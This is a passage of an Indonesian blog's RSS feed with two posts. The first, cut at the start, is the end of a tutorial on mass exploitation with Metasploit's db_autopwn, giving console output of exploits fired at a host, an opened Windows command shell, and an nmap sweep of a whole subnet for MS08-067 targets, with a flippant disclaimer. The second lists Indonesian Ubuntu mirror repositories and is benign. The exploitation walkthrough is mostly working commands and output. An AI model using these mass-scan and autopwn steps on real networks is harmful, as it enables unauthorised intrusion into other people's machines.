[*] (34/39): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/mssql/ms02_056_hello against 192.168.1.10:1433...
[*] (35/39): Launching exploit/windows/mssql/ms02_056_hello against 192.168.1.10:1433...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/linux/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_sql against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.1.10:445...
msf &gt;</pre>
</div>
</ul>
<p style="text-align: justify;">- Eksploitasi telah selesai. Periksa session yang aktif dengan menuliskan perintah <strong>session -l</strong>. Apabila ada message <em>no active session</em> berarti eksploitasi yang kita lakukan gagal.</p>
<ul style="text-align: justify;">msf &gt; sessions -l</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>Active sessions
===============
  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.6:46451 -&gt; 192.168.1.10:29595</pre>
</div>
</ul>
<p style="text-align: justify;">- Dari message diatas diketahui eksploitasi telah berhasil dilakukan dan ada 1 sesi yang aktif, yaitu session dengan id 1. Untuk berinteraksi dengan session yang aktif :</p>
<ul style="text-align: justify;">msf &gt; sessions -i 1</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32&gt;</pre>
</div>
</ul>
<ul style="text-align: justify;">C:\WINDOWS\system32&gt;ipconfig</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.10
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254
C:\WINDOWS\system32&gt;</pre>
</div>
</ul>
<p style="text-align: justify;">Owned&#8230; !!</p>
<p style="text-align: justify;"><strong>Metode mass exploit secara horisontal / linier</strong><br />
Sebenarnya cara yang dipakai dalam metode ini sama dengan metode sebelumnya, yang membedakan adalah model pencarian port yang terbuka. Cara ini lebih fokus kepada pencarian kelemahan sistem pada port tertentu dalam suatu network. Jadi yang pegang peranan dalam pemilihan metode ini sebenarnya adalah pada kustomisasi command di nmap. Contoh paling mudah yaitu memanfaatkan exploit <a href="http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx">MS Windows MS08-067</a> seperti artikel terdahulu. Test case kali ini memanfaatkan exploit tersebut di dalam network lokal saya : 192.168.1.0/24.<br />
Silahkan anda ikuti saja tutorial seperti metode yang diatas hanya saja command pencarian port yang terbuka diubah menjadi :</p>
<ul style="text-align: justify;">msf &gt; nmap -sS -p 445 -n -T Aggressive 192.168.1.0/24</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto; height: 250px; width: 485px;">
<pre>[*] exec: nmap -sS -p 445 -n -T Aggressive 192.168.1.0/24
Starting Nmap 4.62 ( http://nmap.org ) at 2009-04-05 17:06 CIT
Interesting ports on 192.168.1.6:
PORT    STATE  SERVICE
445/tcp closed microsoft-ds
Interesting ports on 192.168.1.10:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1C:C0:50:B9:00 (Intel Corporate)
Interesting ports on 192.168.1.12:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:11:2F:A6:03:9F (Asustek Computer)
Interesting ports on 192.168.1.20:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1E:8C:CC:07:2A (Asustek Computer)
Interesting ports on 192.168.1.26:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:04:23:6E:EC:AD (Intel)
Interesting ports on 192.168.1.28:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
Interesting ports on 192.168.1.30:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:1E:EC:79:94:F7 (Compal Information (kunshan) CO.)
Interesting ports on 192.168.1.103:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:18:DE:07:3D:91 (Intel)
Interesting ports on 192.168.1.254:
PORT    STATE  SERVICE
445/tcp closed microsoft-ds
MAC Address: 00:1D:7E:27:BA:E6 (Cisco-Linksys)
Nmap done: 256 IP addresses (9 hosts up) scanned in 2.566 seconds
msf &gt;</pre>
</div>
</ul>
<p style="text-align: justify;">Apabila anda masih mengalami kesulitan dalam menerapkan metode ini, silahkan anda baca artikel yang juga sudah lengkap dengan step by step-nya dari blog temen-temen kecoak <a href="http://www.kecoak-elektronik.net/log/2008/12/23/metasploit-dan-autopwn/">disini</a> atau blognya pakde HDM <a href="http://blog.metasploit.com/2009/02/metasploit-mass-exploitation-for.html">disini</a>.</p>
<p style="text-align: justify;">Nah&#8230; sekarang coba anda bayangkan, gimana kalo kedua metode tersebut digabung? Dalam artian melakukan scaning ke SEMUA port terbuka dalam suatu network? Atau malah scanning ke network berkelas A.. Silahkan anda bayangkan sendiri.. <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Kalo bayangan saya ya kompi anda pasti hang apalagi kalo resource hardwarenya pas-pasan kaya saya ini hehehe..  Atau malah lebih sadis lagi kalo anda gunakan untuk scanning di internet bisa-bisa diblokir ma ISP-nya haha&#8230;.<br />
Sebenarnya teknik-teknik ini kurang bagus, karena eksploitasi yang dilakukan tergolong ngawor, karena dengan hanya ber-ASUMSI pada port terbuka, maka db_autopwn akan menjalankan SEMUA modul yang ada dengan spesifikasi port tersebut, ndak peduli modul yang dipanggil relevan apa tidak dengan vulner/sistem yang terkait.<br />
Supaya eksploitasi sistem lebih fokus dan terarah dapat juga menggunakan tools nessus, karena kita dapat memanfaatkan <em>cross referencing mode</em> (opsi -x) di db_autopwn. Artikelnya nyusul yah, karena laptop ini belum ada nessusnya. Abis fresh install <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />
</p>
<p style="text-align: justify;">Seperti biasa, use this article wisely. Saya ndak akan nulis artikel ini utk tujuan pendidikan semata, penulis tidak bertanggung jawab bla..bla..bla.. Tapi saya lebih suka menggugah kesadaran anda saja.</p>
<p style="text-align: justify;">Sumber, kredit, dan tautan terkait :<br />
- <a href="http://www.kecoak-elektronik.net">http://www.kecoak-elektronik.net</a><br />
- <a href="http://blog.metasploit.com">http://blog.metasploit.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/04/05/metasploit-ii-mass-exploitation/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Repository Ubuntu Indonesia</title>
		<link>http://www.masrony.com/2009/03/22/repository-ubuntu-indonesia/</link>
		<comments>http://www.masrony.com/2009/03/22/repository-ubuntu-indonesia/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 19:11:17 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[mirror]]></category>
		<category><![CDATA[repo lokal]]></category>
		<category><![CDATA[repository]]></category>
		<category><![CDATA[source list]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=193</guid>
		<description><![CDATA[Artikel ini saya ambil dari http://wiki.ubuntu-id.org/SourcesListLokal. Ya supaya besok-besok kalo repo yang biasa saya pake susah koneknya, gampang nyari yang lain. Berikut daftar repo lokal indonesia :
Repositori Kambing (UI &#8212; Telkom, Indosat, OpenIXP, INHERENT)
Informasi situs: http://kambing.ui.edu
### sources.list.kambing
### Repository dengan menggunakan server mirror kambing.ui.edu
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya [...]]]></description>
			<content:encoded><![CDATA[<p>Artikel ini saya ambil dari <a title="repo ubuntu list" href="http://wiki.ubuntu-id.org/SourcesListLokal" target="_blank">http://wiki.ubuntu-id.org/SourcesListLokal</a>. Ya supaya besok-besok kalo repo yang biasa saya pake susah koneknya, gampang nyari yang lain. Berikut daftar repo lokal indonesia :</p>
<p>Repositori Kambing (UI &#8212; Telkom, Indosat, OpenIXP, INHERENT)<br />
Informasi situs: http://kambing.ui.edu</p>
<p>### sources.list.kambing<br />
### Repository dengan menggunakan server mirror kambing.ui.edu<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse<br />
deb-src http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p><span id="more-193"></span>wget http://arsip.ubuntu-id.org/berkas/sources.list.kambing<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.kambing /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori CBN Mirror (OpenIXP)<br />
Informasi situs: http://mirror.cbn.net.id</p>
<p>### sources.list.cbn<br />
### Repository dengan menggunakan server mirror.cbn.net.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse<br />
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.cbn<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.cbn /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori Komo (OpenIXP)<br />
Informasi situs: http://komo.vlsm.org</p>
<p>### sources.list.komo<br />
### Repository dengan menggunakan server mirror komo.vlsm.org<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://komo.vlsm.org/ubuntu gutsy main restricted universe multiverse<br />
deb-src http://komo.vlsm.org/ubuntu/ gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.komo<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.komo /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori IndikaNet (OpenIXP)<br />
Informasi situs: http://indika.net.id</p>
<p>### sources.list.indika<br />
### Repository dengan menggunakan server mirror ubuntu.indika.net.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse<br />
deb-src http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse<br />
deb-src http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse<br />
deb-src http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.indika<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.indika /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori ITB (Network ITB &amp; Inherent) &#8211; FTP only<br />
Informasi situs: ftp://ftp.itb.ac.id</p>
<p>### sources.list.ftpitb<br />
### Repository dengan menggunakan server mirror ftp.itb.ac.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse<br />
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.ftpitb<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.ftpitb /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori UGM (Inherent)<br />
Informasi situs: http://info.ugm.ac.id dan http://repo.ugm.ac.id/</p>
<p>### sources.list.ugm<br />
### Repository dengan menggunakan server mirror repo.ugm.ac.id<br />
### Untuk saat ini repo.ugm.ac.id hanya tersedia dist gutsy saja<br />
## REPOSITORY UTAMA<br />
deb http://repo.ugm.ac.id/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://repo.ugm.ac.id/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://repo.ugm.ac.id/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.ugm<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.ugm /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori FOSS-ID (Telkom)<br />
Informasi situs: http://www.foss-id.web.id</p>
<p>### sources.list.foss-id<br />
### Repository dengan menggunakan server mirror foss-id.web.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse<br />
deb-src http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.foss-id<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.foss-id /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori ITS (Inherent)<br />
Informasi situs: http://mirror.its.ac.id/</p>
<p>### sources.list.its<br />
### Repository dengan menggunakan server mirror mirror.its.ac.id<br />
## REPOSITORY UTAMA<br />
deb http://mirror.its.ac.id/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://mirror.its.ac.id/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://mirror.its.ac.id/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.its<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.its /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repository UNEJ (OpenIXP, Telkom)<br />
Informasi situs: http://mirror.unej.ac.id/</p>
<p>### sources.list.unej<br />
deb http://mirror.unej.ac.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb http://mirror.unej.ac.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb http://mirror.unej.ac.id/ubuntu/ intrepid-security main restricted universe multiverse<br />
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://mirror.unej.ac.id/doc/sources.list-ubuntu.intrepid<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list-ubuntu.intrepid /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repository KLAS (IIXJI, Radnet)<br />
Informasi situs: http://buaya.klas.or.id/</p>
<p>### sources.list.buaya<br />
deb http://buaya.klas.or.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb-src http://buaya.klas.or.id/ubuntu/ intrepid main restricted universe multiverse<br />
deb http://buaya.klas.or.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb-src http://buaya.klas.or.id/ubuntu/ intrepid-updates main restricted universe multiverse<br />
deb http://buaya.klas.or.id/ubuntu/ intrepid-security main restricted universe multiverse<br />
deb-src http://buaya.klas.or.id/ubuntu/ intrepid-security main restricted universe multiverse</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/03/22/repository-ubuntu-indonesia/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
